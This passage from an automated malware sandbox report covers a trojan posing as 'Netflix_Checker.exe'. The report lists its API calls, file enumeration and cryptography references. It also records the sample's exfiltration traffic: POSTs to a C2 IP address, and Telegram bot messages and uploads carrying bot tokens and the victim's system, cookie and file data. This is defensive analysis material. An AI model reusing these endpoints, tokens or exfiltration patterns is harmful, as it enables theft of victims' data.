"ee5db. Trojan.exe") Found reference to API (Indicator: "GetVolumeInformationA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CopyFileW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "lstrcatA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CreateDirectoryA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CopyFileA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "SetFileAttributesA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "Process32FirstW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CreateFileMappingA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "IsWow64Process"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "Process32NextW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CreateMutexA"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "DeleteFileW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "LocalFree"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "RtlPcToFileHeader"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "InitOnceExecuteOnce"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetConsoleCP"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "RtlCaptureContext"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetTickCount64"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "OutputDebugStringW"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "InterlockedDecrement"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "InterlockedIncrement"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CompareString"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "GetObject"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "MessageBox"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CreateDirectory"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "VariantClear"; File: "ee5db. Trojan.exe") Found reference to API (Indicator: "CompareString"; Source: "00000000-00006396.00000000.123897.00092000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006396.00000000.123897.00092000.00000002.mdmp") Found reference to API (Indicator: "GetObject"; Source: "00000000-00006396.00000000.123897.00092000.00000002.mdmp") Found reference to API (Indicator: "MessageBox"; Source: "00000000-00006396.00000000.123897.00092000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectory"; Source: "00000000-00006396.00000000.123897.00092000.00000002.mdmp") Found reference to API (Indicator: "AddDllDirectory"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp")42:Ta14,"Netflix_Checker.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00006396) "Netflix_Checker.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00006396)43:Te02,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00006016-00000C2B-293119760] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00006016-00000C2B-294451894] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006016-00000C2B-294626095] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00006016-00000C2B-294952400] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00006016-00000C2B-295031698] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00006016-00000C2B-295182555] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00006016-00000C2B-295563414] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00006016-00000C2B-295660792] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00006016-00000C2B-295745445] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\a891970b44db9e340c3ef3efa95b793c\Microsoft.VisualBasic.ni.dll" [Source: 00000000-00006016-00000C2B-295839752] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" [Source: 00000000-00006016-00000C2B-295936847] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00006016-00000C2B-296033584] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00006016-00000C2B-296356352] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00006016-00000C2B-296440814] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00006016-00000C2B-296515560] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00006016-00000C2B-296957678] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00006016-00000C2B-298358670] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006016-00000C2B-298895078] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006016-00000C2B-298981635] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00006016-00000C2B-299068236] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00006016-00000C2B-299297040] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll" [Source: 00000000-00006016-00000C2B-299934091]44:Tdba,"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindFirstFileW" with parameter C:\*.* (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter $Recycle.Bin (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter autoexec.bat (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter config.sys (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter Documents and Settings (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter dotnet.au3 (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter dotnet48.exe (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter MSOCache (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter Netflix_Checker.exe (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter pagefile.sys (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter PerfLogs (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter Program Files (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter ProgramData (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter Recovery (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter System Volume Information (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter Temp (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter TorService (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter Users (UID: 00000000-00005736) "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe" called "FindNextFileW" with parameter Windows (UID: 00000000-00005736) "Netflix_Checker.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00006016) "Netflix_Checker.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006016) "Netflix_Checker.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00006016) "Netflix_Checker.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00006016) "Netflix_Checker.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006016)45:T1209,"POST /api.php?{A068533DBF09758809014} HTTP/1.1 Host: 176.111.174.140 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Diamotrix" with payload::==> "" HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:11:15 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 40 Connection: close Content-Type: text/html; charset=UTF-8 with response body ==>38626564663865313265633235353839333332376664356138353930323064353138643534623538....... "POST /api.php?{A068533DBF09758809014} HTTP/1.1 Host: 176.111.174.140 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Diamotrix Content-Length: 41" with payload::==> "Q" HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:11:15 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 with response body ==>....... "POST /api.php?{A068533DBF09758809014} HTTP/1.1 Host: 176.111.174.140 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Diamotrix Content-Length: 4" with payload::==> "H" HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:11:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 153 Connection: close Content-Type: text/html; charset=UTF-8 with response body ==>081E0D1012485F1E1D5454041B0409081D020503485501511765697751570A4C6616014D516F3F08440A111016024A1E0352551C04040917020406195750054E....... "POST /api.php?{A068533DBF09758809014} HTTP/1.1 Host: 176.111.174.140 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Diamotrix Content-Length: 4" with payload::==> "H" HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:12:59 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 with response body ==>....... "POST /api.php?{A068533DBF09758809014} HTTP/1.1 Host: 176.111.174.140 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Diamotrix" with payload::==> "" HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:13:31 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 40 Connection: close Content-Type: text/html; charset=UTF-8 with response body ==>38626564663865313265633235353839333332376664356138353930323064353138643534623538....... "POST /api.php?{A068533DBF09758809014} HTTP/1.1 Host: 176.111.174.140 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Diamotrix Content-Length: 41" with payload::==> "Q" HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:13:31 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 with response body ==>....... "POST /api.php?{A068533DBF09758809014} HTTP/1.1 Host: 176.111.174.140 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Diamotrix Content-Length: 4" with payload::==> "H" HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:13:32 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 with response body ==>....... "POST /api.php?{A068533DBF09758809014} HTTP/1.1 Host: 176.111.174.140 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Diamotrix" with payload::==> "" HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:14:02 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 40 Connection: close Content-Type: text/html; charset=UTF-8 with response body ==>38626564663865313265633235353839333332376664356138353930323064353138643534623538....... "POST /api.php?{A068533DBF09758809014} HTTP/1.1 Host: 176.111.174.140 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Diamotrix Content-Length: 41" with payload::==> "Q" HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:14:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 with response body ==>....... "POST /api.php?{A068533DBF09758809014} HTTP/1.1 Host: 176.111.174.140 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Diamotrix Content-Length: 4" with payload::==> "H" HTTP/1.1 200 OK Date: Thu 01 Aug 2024 03:14:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 with response body ==>.......46:T4f2,"svcwhost.exe" queries volume information of "C:\" at 00000000-00005968-00000C15-941522770 "Netflix_Checker.exe" queries volume information of "C:\Netflix_Checker.exe" at 00000000-00006396-00000C15-942677556 "Netflix_Checker.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll" at 00000000-00006396-00000C15-943015065 "Netflix_Checker.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" at 00000000-00006396-00000C15-943101264 "Netflix_Checker.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" at 00000000-00006396-00000C15-943226778 "Netflix_Checker.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll" at 00000000-00006396-00000C15-944723917 "Netflix_Checker.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll" at 00000000-00006396-00000C15-94475029847:T1ada,Found reference to "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "RSACng"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "DSACng"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesManaged"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellman"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellmanCng"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsa"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsaCng"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384" (Indicator: "SHA384"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng" (Indicator: "SHA384"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512" (Indicator: "SHA512"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng" (Indicator: "SHA512"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.HMAC" (Indicator: "HMAC"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.KeyedHashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp") Found reference to "System.Security.Cryptography.KeyedHashAlgorithm" (Indicator: "KeyedHashAlgorithm"; Source: "00000000-00006396.00000000.123897.04820000.00000004.mdmp")48:T8c2,Found HTTPS GET request to https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:91:b8:ea Found HTTPS GET request to https://api.telegram.org/bot6082381502:AAGYF_HaZVw7ziBPxYHyd8WNo0uQbAM7fiU/sendMessage?chat_id=5795480469&text=%0A%20%20%F0%9F%8C%AA%20*WorldWind%20Pro%20-%20Results:*%0ADate:%202024-08-01%203:12:19%20AM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20HAPUBWS%0ACompName:%20DESKTOP-FVVF82A%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%20Intel(R)%20Xeon(R)%20Gold%206240R%20CPU%20@%202.40GHz%0AGPU:%20VMware%20SVGA%203D%0ARAM:%208191MB%0AHWID:%200F8BFBFF000406F0%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x800%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%20192.168.0.1%0AInternal%20IP:%20192.168.0.2%0AExternal%20IP:%2064.124.12.162%0ABSSID:%2000:50:56:91:b8:ea%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20*Bank%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20*Crypto%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20*Freaky%20Logs*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Logs:*%0A%20%20%20%E2%88%9F%20%F0%9F%8D%AA%20Cookies:%2042%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%2010%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%207%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%206%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True Found HTTPS GET request to https://api.telegram.org/bot6082381502:AAGYF_HaZVw7ziBPxYHyd8WNo0uQbAM7fiU/sendMessage?chat_id=5795480469&text=%F0%9F%93%81%20Uploading%20Log%20Folders... Found HTTPS POST request to https://api.telegram.org/bot6082381502:AAGYF_HaZVw7ziBPxYHyd8WNo0uQbAM7fiU/sendDocument?chat_id=5795480469 Found HTTPS GET request to https://pastebin.com/raw/7B75u64B Found HTTPS POST request to https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=528366295649:T749,The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 02:37:7C:02:DD:73:81:8E:66:EA:4A:15:58:23:D8:BD:6D:A6:D0:39; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 